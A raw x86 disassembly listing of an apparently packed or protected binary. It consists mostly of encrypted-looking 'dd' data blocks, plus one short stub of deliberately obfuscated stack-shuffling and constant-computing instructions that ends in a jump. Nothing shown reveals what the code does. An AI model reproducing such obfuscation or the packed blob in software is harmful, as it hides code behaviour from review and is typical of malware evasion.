		dd 6CEF51A2h, 8CD7B880h, 0CF525EA7h, 509970ADh,	11BDFDDBh
		dd 0FE7A4B3Eh, 54404895h, 8533D38Eh, 5BDCDA23h,	46869BB4h
		dd 0C296FFDDh, 0B20BC66Ah, 3EE8B44Ch, 20E67D7h,	0C281DD5Eh
		dd 5AD7B5C1h, 0F85CA7ECh, 0E240941Fh, 2295810Ah, 8F869B50h
		dd 0FCDBD84h, 0DEC4218Ah, 807A6E2Ah, 50B9828Dh,	4FAD2480h
		dd 0AD090DE9h, 0FF19DD24h, 0EB4D961Fh, 0E52E9815h, 0B0692397h
		dd 6F4220Bh, 0E986A38Bh, 0B94685A6h, 0B96DA72Ah, 0EC16h
		dd 0A5568D00h, 7A8B57B1h, 34BF1EF8h, 8A79E006h,	45C8AE48h
		dd 0C409C191h, 8D6BEB66h, 52B4A62Bh, 26C072F9h,	0AB0FCF46h
		dd 855BDCDAh, 0AF467A3Dh, 0D259C004h, 0C74C2F89h, 76732BD9h
		dd 0B480DE52h, 0C4A07059h, 892B6F4Dh, 767A4BCEh, 23FB5D2Dh
		dd 0EE4EA8AAh, 0C1351E67h, 869C136Eh, 1CECC85Bh, 6F76335h
		dd 151563A0h, 8076E8A4h, 1C1A9175h, 8CC7409Bh, 74321D06h
		dd 0F2B44792h, 457EA0B6h, 0B59E68E1h, 92FBC26Ah, 0C7411364h
		dd 4795FE8Ch, 0E0447DA1h, 388E7DE4h, 239482EBh,	8E8CC741h
		dd 0D1B8BA85h, 5C2ADB07h, 0FA286952h, 0ADF4A26Eh, 90DE94Fh
		dd 82F521D0h, 6F8CC7C2h, 34F2DD24h, 0B2748752h,	9F178DCh
		dd 8B7FF457h, 0FE54CA4Eh, 0BE879F81h, 250E57DEh, 0C7C27EF1h
		dd 0DC386B8Ch, 971EFE18h, 38CD3h, 3F650000h, 0EC1FC4B4h
		dd 69E0441Ah, 0D75C3F91h, 56DBBD13h, 0D5583E90h, 50DDB315h
		dd 0DA293096h, 58D3AA6Ch, 0C13028EEh
		db 79h,	3Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	1B40h
		mov	[esp], eax
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		mov	eax, 0B495883h
		shr	eax, 8
		add	eax, 24F258AFh
		push	ebx
		mov	ebx, 6680D04h
		inc	ebx
		not	ebx
		add	ebx, 7A4C76B7h
		sub	ebx, 4DB2B11h
		sub	eax, ebx
		pop	ebx
		add	eax, 503B00D8h
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		push	eax
		pop	ebx
		mov	[esi+8], ebx
		pop	ebx
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_54F76C
; ---------------------------------------------------------------------------
		dd 0ADC68931h, 1485E9BBh, 1EEBF7F6h, 0B8B9D738h, 62F6A5Ah
		dd 0E0FFC503h, 79D261EEh, 624693D0h, 2534B910h,	13E8h
		dd 226ACB00h, 7E6B9DE7h, 0A7308903h, 34DFE812h,	934C9F7h
		dd 9974E181h, 815A6B38h, 63F9C2h, 0BF5E5300h, 18D1h, 7E9h
		dd 0B23C9100h, 152623E1h, 0F081028Bh, 447EB965h, 0A8E0C081h
		dd 0DE9229Ch, 5D000000h, 23F9FB6Eh, 3429E2BEh, 1CB1A629h
		dd 0BE67C081h, 0DE811B49h, 135B9AD5h, 81660289h, 83B302F1h
		dd 0DD8003EAh, 0E9504A88h, 9, 159B656Ah, 673768A3h, 0EF815E6Bh
		dd 1, 16850Fh, 4DB30000h, 29E9h, 3C43DC00h, 0BFD85844h
		dd 6F906470h, 667B1BD9h, 0E9C8BF0Fh, 0FFFFFF8Ch, 0D1B81666h
		dd 0EB50D833h, 0BC5FFE31h, 0EB1F2BB3h, 33E98786h, 7E000000h
		dd 223CDBh, 0Bh	dup(0)
		dd 56E90000h, 68000005h, 62F6D3Bh, 0FA1183E9h, 6DA768FFh
		dd 79E9062Fh, 68FFFA11h, 62F6F55h, 0FA116FE9h, 8172E9FFh
		dd 5EAFAB4Dh, 28A37A9Ch, 0E615CC2Ah, 0B13C9274h, 28F5EDBDh
		dd 0F117C74Ah, 0BE589A17h, 2E456DDh, 973323AAh,	8277F83Eh
		dd 43627A3Dh, 0EB66C438h, 0DC573682h, 6FD3396Ah, 7F44CDA9h
		dd 324CCF31h, 3B35ACC2h, 17FD2350h, 9551A72Dh, 3C19A277h
		dd 4537C8C6h, 7A412F7Ah, 0DD8DA560h, 93654EA9h,	9EF5B546h
		dd 45B2F6BAh, 0DC8695ADh, 5709F178h, 518C7A8Bh,	40E357CFh
		dd 10D062C4h, 0B274B42Ah, 0D80000E6h, 2B725129h, 37978CDh
		dd 0B9F50000h, 32792013h, 0D6A5ADE9h, 940A7A45h, 0DC19D33h
		dd 1C502630h, 0B94ACF35h, 0A0C45A8Dh, 20F09159h, 177CCA39h
		dd 0E6AE741h, 3BADE40Ah, 0C1A47C39h, 0D8C6E4Ah,	0D1595DA6h
		dd 0F67DD4D3h, 9A7FDDADh, 18C43411h, 0D2DA4F36h, 50DBBC18h
		dd 765FBD96h, 0FE2FE500h, 0BDA57383h, 0A1F2684Ch, 9118FC44h
		dd 0E7E3BB5Dh, 2C8F8B7Ah, 95904EA4h, 0AB58A38Ah, 0A9D009FEh
		dd 645E61A5h, 0FF000003h, 45A39360h, 8EE6C9Dh, 0D23426ADh
		dd 0A046F407h, 0DF8F4FC2h, 0D5583E03h, 0A8258761h, 60EB4CAAh
		dd 39B014F2h, 0C2309135h, 7A3D8171h, 4B3E4558h,	0EEC33462h
		dd 0F656806Ch, 5ABEE17Fh, 49921980h, 4C05C74Dh,	1E67287Ah
		dd 0E569E4BAh, 0DB56348Ch, 72D0246Fh, 55A9119Ch, 37CBDD9Bh
		dd 0AC51D8BCh, 0B382530Bh, 0F85D62A8h, 63000002h, 31D707F4h
		dd 0FC1AD829h, 46A09219h, 0CEA689Bh, 633323AEh,	49C49A67h
		dd 4896385h, 0DC5730D6h, 951CF81Eh, 76AC05A1h, 7A3D8205h
		dd 0C0AAD1ECh, 2F89D259h, 9FF6C233h, 4C05F59Bh,	0DEC42D7Ah
		dd 869C5A5Dh, 67FDDB44h, 0C9364A3Ch, 50869C5Ah,	0B83B7FF4h
		dd 21869C5Ah, 0FD53177Eh, 7729911Ah, 4D0B1AEBh,	89C265D9h
		dd 0D67E6387h, 795FAAC9h, 31B343DBh, 5174AD99h,	0DAAC2187h
		dd 0C3482389h, 20900F5h, 4B2D0000h, 39810AEDh, 21AC0EEAh
		dd 189175CBh, 573967AEh, 61BDA3Bh, 0DBAF2284h, 0F54BA188h
		dd 3BB01511h, 2618044Fh, 5706E9E9h, 987845ACh, 0D35E3C40h
		dd 87D53C17h, 4FF4A547h, 0B5563066h, 0DE417A45h, 576ACF5h
		dd 0EC869617h, 62C44F2Eh, 0EF2C621h, 96168DEAh,	3DCC1486h
		dd 0BE4F8B4Dh, 938B8DC8h, 96880C3Fh, 0B3BBD41Ch, 206E74h
		dd 0C0C70000h, 8D89D259h, 7A45EF59h, 49AD1D06h,	8695EFEAh
		dd 36C066E2h, 74B3E6AEh, 0D144h, 60C4E100h, 0EF4CAFEBh
		dd 0EAB5806Ch, 4224AF0Eh, 1402601h, 7359AAB7h, 0E0B03F9Dh
		dd 0E83B8F02h, 6CEF4DAEh, 0DEBB480h, 0D4620A9h,	2A824422h
		dd 0A7715AA3h, 0EB4C4ABBh, 0D6806CEEh, 4A9B6F4Dh, 91850EEEh
		dd 806CEF1Eh, 5BB1988Bh, 0AAA82185h, 6CEA67EEh,	0DB522A80h
		dd 0C0A6721Bh, 0C8D6F4Dh, 0E0585EA7h, 0CF7A484Bh, 7A432761h
		dd 301BF2CDh, 20AF0DEBh, 989081F2h, 3CB71086h, 58CB194Ah
		dd 451BFD71h, 906BCCCAh, 0CD568698h, 1C8441E2h,	0EB1FB386h
		dd 14AC4h, 0B94A9100h, 768753B5h, 0C04B22C4h, 9E6DF412h
		dd 69E4BA5Ch, 0D01DB5E5h, 997FFF72h, 6680B23Fh,	2ACC0E85h
		dd 0BF1BDB52h, 804FA0D6h, 9BBA7A3Dh, 0EB66C410h, 0A0298D6Bh
		dd 60C439B2h, 0DFBF11E9h, 3D8D7EDBh, 0F55582F3h, 0E5CC289Eh
		dd 0DFBA589Ah, 0CFA90F54h, 36E15240h, 47C8806Ch, 0B140987Ch
		dd 0D80C0A5Bh, 0FF7A456Bh, 7630C119h, 0AAA69D38h, 48938EB5h
		dd 0DEBC0461h, 0DDD22551h, 543F8695h, 0F750200Dh, 0B09B68F1h
		dd 57A4E064h, 4D8695DEh, 0B61610EBh, 31184B3Fh,	0C2161A49h
		dd 0B76A7577h, 66C6A4F0h, 1A066FEFh, 693DCA8Ah,	3FB21022h
		dd 4C2280D4h, 0D264D7C3h, 0C24D8695h, 9D6E92FBh, 153206EEh
		dd 0CD04F4C0h, 0B83DBEE4h, 76A48695h, 62A11994h, 70AE3D1Bh
		dd 0E5000000h, 7036C713h, 4B0AC513h, 6F353845h,	7C58D3DAh
		dd 6FB4FF9Ah, 0B19F1006h, 190A806Ch, 24A4D233h,	937A4BC9h
		dd 84602680h, 4F2FC90Dh, 6B0C60C6h, 2E62AF73h, 0A167C332h
		dd 81FC4AC7h, 2933879Fh, 0D2AA9B83h, 997D9B5Bh,	69F05610h
		dd 6FF12C9Ah, 2A2E8EB7h, 246FDB52h, 87019DDh, 0B4C77C00h
		dd 68CE2A8Ch, 12A5058Ch, 3, 0C4B43F93h,	441AEC1Fh, 3F9169E0h
		dd 0BD13D75Ch, 3E9056DBh, 0B315D558h, 309650DDh, 0AA6CDA29h
		dd 28EE58D3h, 3A79C130h, 41F568h, 241C8900h, 548968h, 24048900h
		dd 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch, 68512434h
		dd 0C5B03EEh, 0C9814159h, 52477D74h, 4C63BD55h,	0ED810AD6h
		dd 63066035h, 895DE901h, 8B5459C8h, 0C4832434h,	8BA5204h
		dd 1000000h, 48150F2h, 171D7124h, 81028F5Ch, 171D712Ah
		dd 348B5A5Ch, 0E2895224h, 4C281h, 0C2810000h, 4, 5C241487h
		dd 5224048Bh, 0C281E289h, 4, 4C281h, 14870000h,	41E95C24h
		dd 5EFFFA0Ch, 0C3A7876Fh, 2614354Eh, 70C4B880h,	0C503062Fh
		dd 27EAE0FFh, 0EB5C118Dh, 3CF114BBh, 2F432B8Ah,	0E1C3486Dh
		dd 0E84A5771h, 904723A5h, 9D33492Bh, 84762FB8h,	5D863CBCh
		dd 2F245687h, 6346107Ch, 0E8A3503Bh, 0D1932D5Ah, 6140E1Bh
		dd 0A154594Fh, 2B9E64E1h, 32615D61h, 39851212h,	8D8D2069h
		dd 62F72C2h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	7C35040h, 153F01FFh, 7E7F151Fh,	6D8D89CFh, 6A06291Eh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 9DB4C356h, 0F9453EAh, 68Ah, 0CDCB8100h, 0E94AC317h
		dd 5, 0D633271Eh, 8185C759h, 2406292Dh,	6A000071h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 8BB1C352h, 0F60412Eh, 8Eh, 85C76100h, 6292005h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 1DC35747h
		dd 0A7246D88h, 0C9B3656h, 0FF0CB053h, 2919DDB5h, 0E9B52306h
		dd 0FF062930h, 2931E995h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 42D66AB7h
		dd 8448F64Fh, 6A5B527Fh, 9195FF00h, 8B062905h, 0E00AEBC0h
		dd 0F7FD25F7h, 0DF956C98h, 0CE85Bh, 635D0000h, 6D5F351Bh
		dd 4F19C4E1h, 9D897E47h, 6291A59h, 0E881665Ah, 0C2810A8Bh
		dd 715Fh, 0FE9h, 2177A300h, 0D0856DBBh,	35DAD1E1h, 8134C1F8h
		dd 0F0B588BEh, 5FEE8133h, 6633F099h, 0AE86E881h, 59F932FFh
		dd 8FE0F181h, 0C1811152h, 20413CAh, 1F559589h, 0C1810629h
		dd 1DD76334h, 30A18D29h, 8A510629h, 66028FE5h, 0EA83C18Bh
		dd 199D8904h, 8106292Ah, 1EEh, 20850F00h, 0E9000000h, 10h
		dd 36D86996h, 0A966F625h, 25EFB521h, 7B8D15A5h,	24E9h
		dd 5DED0000h, 81ACF2F1h, 0E24E21C0h, 0FF96E93Bh, 4002FFFFh
		dd 0E3A7E75Ch, 0DBA1B51Bh, 75D07939h, 4D47346Fh, 0D28D8D8Dh
		dd 0F062F74h, 1385h, 0EE900h, 74850000h, 56B805DCh, 0DF142CB1h
		dd 669025C0h, 1E6D8D89h, 6A0629h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 0F5F116C3h, 89C9C1A7h
		dd 2924199Dh, 0E7816606h, 85C7F5F5h, 6292D81h, 7254h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0BAC35242h, 0BE9h
		dd 0F641BD00h, 0C9170E1Ah, 0C6D41A14h, 200585C7h, 629h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 5B5961C3h, 97ACC1C0h, 50F58F34h, 6DB5FF5Eh
		dd 6A06291Fh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 0B159C357h, 7E97A2Dh, 2F000000h
		dd 0AF6D5582h, 0BE80734h, 42000000h, 0B6A3BB6Fh, 8A615DDDh
		dd 336048C4h, 292061BDh, 0DFBF0F06h, 95FF5F61h,	62931E9h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 99C35646h
		dd 6830Fh, 0DE810000h, 216BCF40h, 6AE5D880h, 9195FF00h
		dd 8B062905h, 6558EBC0h, 0A442FD3Eh, 6CDB6E7Dh,	0DCD02AEEh
		dd 0A4C18881h, 617856Ah, 67BDC4C5h, 813BF4F1h, 0C12236Dh
		dd 496DF7B8h, 0EE33BF11h, 5E87B0A7h, 7FC3A61Bh,	198EA6DCh
		dd 0EEAA57A1h, 374B50F8h, 0C72D6C70h, 3106CBDAh, 0F2923833h
		dd 30933F8Fh, 8B0DBCC1h, 0E0B3C3BAh, 53C94AE5h,	5DB1615Ch
		dd 0AEB0B059h, 57483256h, 0ABB37756h, 0D5B7DBAFh, 8B013256h
		dd 8A6A0B1h, 0B8F4007Eh, 5DB122D1h, 0AEBADB56h,	0BC8A3256h
		dd 32634A64h, 481DF519h, 0E8333D04h, 27B13256h,	0BAB15308h
		dd 5DB6BC59h, 25BE3256h, 57B13257h, 53B132A3h, 0B5D13256h
		dd 0EAB138BFh, 892A3456h, 0B9E3F2E0h, 3C00786Bh, 0AEB1C737h
		dd 81305436h, 11D7D966h, 3CD0E6EAh, 0EAB13251h,	0A42363DDh
		dd 0BADA93B3h, 82305256h, 8F9BC73Fh, 0E960B936h, 0B662D8A7h
		dd 3CD15337h, 0EAB1325Fh, 0ABF30DEEh, 0A812C5E8h, 4D4D53DAh
		dd 0AEB1320Ch, 81DDB156h, 0A3AF0FAh, 0D54D2887h, 0E2303D56h
		dd 7AB13256h, 0BAB130D7h, 89D05256h, 0AEB1699Fh, 5791B159h
		dd 42D13256h, 0D5B13245h, 6348C304h, 7A1B7C48h,	109C53E0h
		dd 0ADE0ABBAh, 0A1BDE7FEh, 57B132DDh, 0ABB15356h, 0D1333D36h
		dd 8CB13256h, 148064E8h, 38BE3256h, 5DB13251h, 0AEB0B959h
		dd 57443256h, 0ABB1CE56h, 0D5B0BD59h, 0EA493256h, 75B6DB56h
		dd 83C43256h, 56CF91D5h, 0AF3D3D5Ah, 0ABB13256h, 0AE583256h
		dd 0FFB13256h, 0F349AFB4h, 7B583256h, 0F8B13256h, 0E5DB8Eh
		dd 0BDBFEC04h, 187B0FD5h, 53B13238h, 5FBE3256h,	0EAB13242h
		dd 75BBDA36h, 0F3843256h, 9552149Fh, 692B924Ch,	364BB90Dh
		dd 26BE3256h, 0D5B1324Eh, 20F8136h, 75B13258h, 819151A2h
		dd 29EFC4BBh, 8DDE8849h, 36E8D642h, 53B132A3h, 0C6583256h
		dd 0BFB13256h, 1C1D2147h, 1C21D7D0h, 347C1AACh,	0C07353F3h
		dd 57B1C1A4h, 0AF383D36h, 0B3B13256h, 0E568C4EEh, 75D0C1E9h
		dd 0BABBDB56h, 58393256h, 7002FCAh, 0B60A571Ch,	27BE3256h
		dd 0D5B13257h, 6BD752A3h, 133FAC97h, 8AA8D5D7h,	3DB13237h
		dd 7C0E3D36h, 0FECDFDD7h, 0CAD01760h, 0DA443256h, 0EAB13EDCh
		dd 733A3D56h, 0B5B13256h, 5DB132D8h, 0A1B13256h, 57B13ED0h
		dd 0AD3F3D56h, 0DAB13256h, 0EAB132D1h, 15B13256h, 0BAA4BB59h
		dd 52593256h, 2FB13256h, 6D0F9918h, 5E3E9A1Ch, 359A3403h
		dd 8BE80FBBh, 8CD13256h, 53D0EBE7h, 5DB13258h, 8CB0EA3Ch
		dd 0D4A7611Ah, 0A1F3C140h, 0D5B34F7Eh, 0E5B13256h, 75B135D6h
		dd 0BB343D56h, 0A4B13256h, 0AEB83581h, 57BE3250h, 0AB8B3257h
		dd 0D4753261h, 0EAB16623h, 75B126BFh, 4A7A4E56h, 0A81EB14h
		dd 0F2AEB465h, 0C698ABC2h, 3C073F1Fh, 0DAB132D8h, 0EAB13AD4h
		dd 77373D56h, 0DAB13256h, 0B4B13237h, 0AEB13246h, 8D61EAE5h
		dd 0AB1ADAB8h, 0C6844591h, 26D741E6h, 0FCBE3256h, 0BAB13245h
		dd 5DB13CBFh, 0EE346F56h, 55998B2Fh, 41BA7EACh,	0D56A1D67h
		dd 0EB3B3D56h, 89B13256h, 0DCD13256h, 0D1BEF4DDh, 0AEB1324Eh
		dd 57B121BFh, 16B99456h, 616B6455h, 0D83EFD85h,	0D6C3B5C2h
		dd 0FA1A149h, 0D9015237h, 0AEB135BFh, 45BA8656h, 0BCED2292h
		dd 9CB13237h, 0EAB12B54h, 75A5DB56h, 53953256h,	0BD5BCA6Eh
		dd 0C5C62FE4h, 0F3A5511Eh, 7ED79849h, 0D5B15FECh, 0A3B132AFh
		dd 75B13254h, 0D1950347h, 0DC81E1D1h, 0BE583256h, 0B5B13256h
		dd 48ABAFF2h, 783E624Ah, 0CA8371BCh, 2659C666h,	0B4586006h
		dd 0B3B13256h, 54942ED9h, 91103AFDh, 0F96C86D1h, 3C803D75h
		dd 0EAB13242h, 0EE1BA71Ah, 0CDC7236Eh, 4EB37FB2h, 0C1FF7B06h
		dd 0DCEB372Ah, 0AF386A0Ch, 2AAF6B72h, 0F19B279Ah, 14D10359h
		dd 0E2EB6A0Ch, 0ED4232C4h, 72FE9C7Fh, 0BE803DB3h, 0ABB13250h
		dd 48C575D0h, 0B2EBD144h, 3CE121C0h, 0BFCD5D18h, 0EBD9E2D7h
		dd 0A8582B7Fh, 71B13256h, 190C2631h, 46D0AF55h,	0B2EB5336h
		dd 66216A0Ch, 0F5B13256h, 360BD78Ah, 0E937539Eh, 0B4A3AF22h
		dd 94EFABB6h, 3330675Ah, 0EB5861AEh, 75B134BFh,	1E860456h
		dd 0C062F05Bh, 0FCE1520Fh, 0FEB0359h, 0FE1A1AECh, 8DD05324h
		dd 0BAD13672h, 7AE96504h, 2CBD8967h, 5EB7BFCh, 0F7D05204h
		dd 0CB2C6A37h, 0ABB121BFh, 0D0CD5D56h, 6BD9B90Ch, 0C8A55570h
		dd 33131E4h, 281D6DA8h,	4729D3D6h, 57B13250h, 86F56580h
		dd 0B42CC134h, 76D10359h, 75B138BFh, 72DA8856h,	29F6B437h
		dd 2E5220CBh, 43586CB6h, 0A7B13256h, 2DEA5803h,	4E860487h
		dd 6562F05Bh, 869E3C5Fh, 0C0FA2893h, 0AEB139BFh, 2A651556h
		dd 0D2F1F124h, 0E0DD2DE8h, 63E96837h, 9CB51612h, 0BAB13250h
		dd 0B0B525C0h, 27E98174h, 57B13257h, 5EB132AAh,	53BE3256h
		dd 0EAB13257h, 75B6DBAFh, 0BD8A3256h, 6232C7E3h, 0CEB13231h
		dd 57B13DBEh, 0FB5AD356h, 86224232h, 1A69E1B9h,	75C169FFh
		dd 0E2CAE4D6h, 0ED6AB330h, 0AEB15301h, 57B139BFh, 39D2AC56h
		dd 0D42596EDh, 43F86790h, 75443256h, 0BB3A3D56h, 0A4B13256h
		dd 0AF46B336h, 36C65B50h, 2CBE3256h, 0D5B1325Ah, 0EAB7BC59h
		dd 0F5BE3256h, 0BAB13256h, 0DBBE3256h, 0AEB13257h, 37B132AAh
		dd 0ABB4B759h, 54D73256h, 527D1A85h, 4F585C5Dh,	53B13237h
		dd 5DB13250h, 5EA15A00h, 57B18987h, 0ABB1CBAEh,	0D5B121BFh
		dd 0C15B7756h, 0DD75D822h, 45339BEFh, 0A7546244h, 0F065E0A3h
		dd 574D3256h, 0A5363D56h, 3CB13256h, 0EAB1325Fh, 0DA2CB1E5h
		dd 536AC332h, 3DB132B3h, 0FFCCD5D6h, 36EB6805h,	42B132A3h
		dd 0D5B13259h, 0BF02B459h, 0B5E7CB02h, 33FF3D64h, 5DE6F8C3h
		dd 0A458CB56h, 7AB13256h, 98BB7D70h, 88CABA1Dh,	0E5B13269h
		dd 75B133DBh, 0BAB1CB56h, 5DB121BFh, 0BEFF1656h, 0A8ABF3B0h
		dd 0CBDFDECh, 61ACC318h, 21617D9Ah, 75A8B959h, 0AE583256h
		dd 5AB13256h, 6D8958CFh, 68E396FFh, 10BAB92Ah, 87D67AC9h
		dd 0EAF9E466h, 0F9BE5256h, 0BAB13254h, 0D6D75336h, 0AEB15399h
		dd 5C5852AFh, 32B13256h, 34DE5ABDh, 569FBE60h, 7AD18926h
		dd 0BAB132D5h, 0A20E3D56h, 0AEB15337h, 0F0178A36h, 57D06941h
		dd 0D5483256h, 0EAB1C756h, 9CB132AAh, 0BAB13246h, 0AF1F4F32h
		dd 52E18165h, 0DAC1AC43h, 0A6B9A47Eh, 55D13256h, 0E6591399h
		dd 0C3B13256h, 6224952Fh, 0C67C60C4h, 0C827206Bh, 6DA6EDD7h
		dd 0ABB1530Eh, 0B3F08336h, 8BFFDBEEh, 75443256h, 0B6333D56h
		dd 52B13256h, 0AEB134DBh, 573A3D56h, 0ABB13256h, 0B3D1CA56h
		dd 8AB38CE9h, 75B138BFh, 305CB556h, 0F13C1EAEh,	475BF175h
		dd 57B1325Bh, 9F192B81h, 470E9808h, 0C820D209h,	75D0532Ah
		dd 6D3A5256h, 5DD0EBDDh, 0AEB9DB56h, 657C3256h,	0B7E97A8Ch
		dd 53BEEAE1h, 0EAB1325Ch, 75B137BFh, 90E50256h,	5DB1B0A8h
		dd 0CEB132A3h, 57D0F8DDh, 0ABBFDB56h, 6EDC3256h, 3417DEFFh
		dd 1D6A586Ch, 0F0D50069h, 5D4D3256h, 0AE49C756h, 57B1C756h
		dd 53B132A3h, 0D54D3256h, 0E1343D56h, 9CB13256h, 0BAB13250h
		dd 5E0131C1h, 0A858118Dh, 0DCB13256h, 32DA4458h, 0B5B13200h
		dd 920AC7DCh, 14F570FAh, 0BAA2B259h, 0DDD13256h, 0A75873BBh
		dd 38B13256h, 161EBE5Bh, 0CC98D46h, 1FB13237h, 61583256h
		dd 0F8B13256h, 2884BBF8h, 0C505A064h, 967D74A1h, 34187ED6h
		dd 0B55377C0h, 5E5BD1D7h, 0CED71FD2h, 0BAD090FEh, 5DB1C756h
		dd 47B132A3h, 57B13244h, 6E51E1E1h, 95B56F68h, 3A05998h
		dd 3845A1D5h, 0BAB1761Ah, 5DB0BA59h, 0AE443256h, 4D393D56h
		dd 0A4B13256h, 0D5B126D7h, 0EABEDB56h, 0F9493256h, 3B2063FEh
		dd 0AB2A82BDh, 0E775239Ah, 0AFB132CCh, 0CB443256h, 3431FDDDh
		dd 0EAB153E9h, 75B0BA59h, 0BA493256h, 5C313D56h, 57B13256h
		dd 46583256h, 36B13256h, 3CCE0444h, 0FB4D5E67h,	3ED66582h
		dd 0C31B7ABAh, 5D493256h, 0BD3A3D56h, 58B13256h, 0ABB13FD7h
		dd 0D5B9DB56h, 0A45C3256h, 0D595AA69h, 52D125D2h, 5DB13245h
		dd 0CE36109Ch, 0FDABF8F0h, 92B48D45h, 73AD2B25h, 6A013018h
		dd 14EF5185h, 0B5D13256h, 9F31C2E9h, 0AEB15396h, 0AEB132AEh
		dd 0A4D13256h, 0D5B137DDh, 0F14A8856h, 0FED75241h, 0BAB153ACh
		dd 5DA9BC59h, 0BD583256h, 2AB13256h, 0E4B395F6h, 722793E0h
		dd 681E793Eh, 150D8C83h, 0BAB1FE13h, 4553B336h,	46BF6BE5h
		dd 57B1325Bh, 8ECE10C4h, 9C769023h, 0E0EBFF7Dh,	2BD05206h
		dd 0B5B13237h, 5DB13ADFh, 0AC303D56h, 37B13256h, 0A43C3D37h
		dd 3CB13256h, 0EAB1325Ch, 3CE134EEh, 238C988h, 5DB14E9Ch
		dd 0AEB13ABFh, 6893E056h, 7579855Ah, 0B5B132F2h, 0EC3B3DAFh
		dd 7AB13256h, 0BAB132DFh, 5DB15356h, 0AEB13DBFh, 0E78A5756h
		dd 0A943E51Dh, 8A5B83BAh, 0E969BE5Eh, 70583256h, 2AB13256h
		dd 0A2927AFDh, 22BE3256h, 57B13277h, 7B988A36h,	0C15946C2h
		dd 0BBB13256h, 0BFB5DD78h, 696B0DD6h, 687CAEC3h, 0A894F487h
		dd 0CE8512Dh, 5EB13237h, 0B3D13256h, 0BD36E5D7h, 588A3BECh
		dd 0BAB15301h, 0A4B132A3h, 0AE4D3256h, 57B1CE56h, 71478936h
		dd 29D10B9Bh, 0EAD053AFh, 74313D56h, 46B13256h,	5DBDBB59h
		dd 2CBE3256h, 57B13250h, 0ABB1B359h, 0D5B13256h, 5E46B336h
		dd 9CE8F741h, 0BAB13250h, 71CC30EBh, 0AED0E736h, 57BEDB56h
		dd 2D643256h, 30FDCE8Fh, 9933E728h, 520C36EEh, 53B1323Eh
		dd 5DB13253h, 759783A6h, 0BEB13272h, 0ABB13258h, 789C1A2h
		dd 0C8D3C40Fh, 6826A939h, 0BAB19D9Ch, 2558B236h, 0AEB1B159h
		dd 37D03256h, 0CF7E8CEEh, 6306572h, 0E5A0EB4Ah,	75B1530Eh
		dd 0B5B132A3h, 5DB13AD1h, 0AC3F3D56h, 37B13256h, 0A3353D37h
		dd 0DAB13256h, 0EAB130DEh, 75D05256h, 0BABCDB56h, 8E153256h
		dd 0CBC2F7E9h, 4F7CE35Ch, 0AB66A886h, 0C4353D56h, 3B13256h
		dd 75B1325Ah, 0EA05F32Eh, 9B7CED61h, 0BEB6027Fh, 5A583256h
		dd 0D3B13256h, 3BDA1FFEh, 42CEDDF9h, 696F02BCh,	0B0583256h
		dd 0EAB13256h, 0A1666CBDh, 0BBF1C04Bh, 42B132B9h, 0D5B13246h
		dd 0F9CED25Bh, 1E34C474h, 3B269D90h, 13F0D7E7h,	0AEB0B759h
		dd 57443256h, 6F095256h, 0B4D31F57h, 0EAB120BFh, 0D935E556h
		dd 97E1D81Eh, 0C8A56075h, 0B6BA3861h, 57368CB8h, 0AE3F3D56h
		dd 0B5B13256h, 8B4DF5DDh, 8DD13256h, 4EDA8A30h,	3DB13237h
		dd 0AEB13BBFh, 17B17C56h, 4C817B3Ch, 0DF58786Dh, 88B13256h
		dd 0C9FEBAB9h, 0D237555h, 5DB15328h, 5BB132AAh,	0D5BE3256h
		dd 0ABB1325Eh, 0D5B3BF59h, 8BD13256h, 7AD13256h, 0BAB137DCh
		dd 0FEE8B56h, 2FD705E2h, 36561C91h, 0ABB138BFh,	18234756h
		dd 2E10E60Dh, 7512920Fh, 0B33F3D56h, 3DB13256h,	2FD7F4DDh
		dd 36ACA3B9h, 26BE3256h, 0D5B1324Ch, 10063D36h,	75B122BFh
		dd 0C3D3E556h, 5BB851FDh, 0A40C0B01h, 4160974Fh, 0ABB15317h
		dd 0D5B13EBFh, 0C6592B56h, 491C334Bh, 0F0E45358h, 52B1320Fh
		dd 0AEB138D0h, 57B4DB56h, 82DE3256h, 2DC624C9h,	63BE3256h
		dd 75B13240h, 0BAB123BFh, 26BD7156h, 0BB9B6797h, 0F4C1E68Ah
		dd 0DD462943h, 0D5B10E24h, 1FB132AEh, 15B132A3h, 0AC57B330h
		dd 0D20F8C6Dh, 0AED018E9h, 57A3DB56h, 91AD3256h, 75B857C6h
		dd 702C16A5h, 3AE65EC4h, 4D071FE3h, 5A583256h, 52B13256h
		dd 0D9F70B9h, 0ABB1A77Bh, 0DA79B936h, 0EAD0F9E1h, 75BEDB56h
		dd 0C8943256h, 8302B3DFh, 92593BEBh, 0D57B8CEDh, 0ABBADB74h
		dd 0A7FF3256h, 0E4F176B2h, 0BFC2E60Bh, 53B13273h, 5DB1325Bh
		dd 143268EAh, 61EFDA5Dh, 98B6EBC5h, 2DB132E0h, 0EAB13CBFh
		dd 0FA0D4956h, 8EDD3B0Fh, 0A3986ED4h, 0AE18EC51h, 57B1CE56h
